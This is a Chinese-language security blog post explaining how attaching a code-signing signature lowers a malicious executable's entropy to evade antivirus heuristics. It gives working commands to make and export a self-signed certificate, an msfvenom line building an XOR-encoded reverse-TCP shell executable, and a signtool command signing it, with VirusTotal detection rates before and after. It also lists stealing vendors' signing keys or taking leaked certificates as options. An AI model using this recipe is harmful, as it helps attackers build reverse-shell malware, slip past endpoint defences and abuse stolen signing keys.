0xd00's blog

Back

在现代网络攻防的持续博弈中,熵值 (Entropy) 是防御方(如杀毒软件、EDR)检测恶意软件的一个基础且关键的指标。一个文件的熵值反映了其内容的随机或“混乱”程度。恶意软件为了隐藏其真实意图,常常对核心载荷(Payload)进行加密或压缩,这直接导致可执行文件的熵值异常升高,从而触发安全产品的启发式警报。

核心原理#

此策略的有效性源于数字签名数据块本身的特性与“稀释效应”。

  • 签名的低熵特性:数字签名并非一串随机字节,而是一个遵循ASN.1标准编码的高度结构化数据块。其中包含了证书信息、颁发者、有效期等具有固定格式的数据,因此其自身熵值很低。
  • 体积带来的稀释效应:一个有效的数字签名(尤其是包含完整证书链时)体积可达数KB到数十KB。当我们将这个相对庞大的低熵数据块附加到一个体积较小但熵值极高(如包含加密Payload)的恶意加载器上时,文件的平均熵值会被显著拉低。

签名证书的获取方式#

购买合法证书#

通过SectigoDigiCert等CA机构购买。成本高昂,且滥用会导致证书被吊销和列入黑名单,对攻击者而言风险极高。

窃取合法证书#

通过攻击软件开发商来窃取其代码签名私钥。这是最高效但也最危险的方式,历史上Stuxnet等著名恶意软件均采用此方法。

获取网络上泄露的有效证书#

从开源网站如Github上获取开发者意外泄露的证书。

创建自签名证书#

这是最简单、零成本的方式,非常适合在受控环境、测试或红队行动中快速生成签名。虽然自签名证书不被操作系统默认信任,但它同样能起到降低熵值的效果。

自签名实操#

生成自签名证书#

New-SelfSignedCertificate -DnsName "www.redact.com" -CertStoreLocation "Cert:\CurrentUser\My" -KeyUsage DigitalSignature -Type CodeSigningCert
powershell

导出为PFX文件#

# 1. 设置一个用于保护PFX文件的密码
$password = ConvertTo-SecureString -String "YourSecurePassword123" -Force -AsPlainText

# 2. 获取我们刚刚创建的证书
$cert = Get-ChildItem -Path "Cert:\CurrentUser\My" | Where-Object { $_.Subject -like "CN=www.redact.com" } | Select-Object -First 1

# 3. 导出证书到文件
Export-PfxCertificate -Cert $cert -FilePath "D:\Test\MyCodeSign.pfx" -Password $password
powershell

生成高熵的恶意文件#

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -e x64/xor -f exe -o malware.exe
shell

通过VirusTotal查看检测率,检测结果54/72

image-20250728144613948

使用 signtool.exe 进行签名#

一般来说只要安装了Virtual Studio的C++开发环境就无需手动安装,如果没找到则在这里安装。

signtool.exe sign /f "D:\Test\MyCodeSign.pfx" /p "YourSecurePassword123" /t http://timestamp.digicert.com /fd SHA256 /v malware.exe
The following certificate was selected:
    Issued to: www.redact.com
    Issued by: www.redact.com
    Expires:   Tue Jul 28 14:11:48 2026
    SHA1 hash: 10A95CE1A5BC76B6798E5EE5DF8139D7D503EE04

Done Adding Additional Store
Successfully signed: malware.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0
powershell

可以看到,在仅通过自签名的方式VirusTotal的检测率就降为了50/72

image-20250728150735301

利用代码签名降低恶意软件熵值
https://blog.0xd00.com/blog/code-signing-entropy-evasion-technique
Author 0xd00
Published at 2025年7月28日
Comment seems to stuck. Try to refresh?✨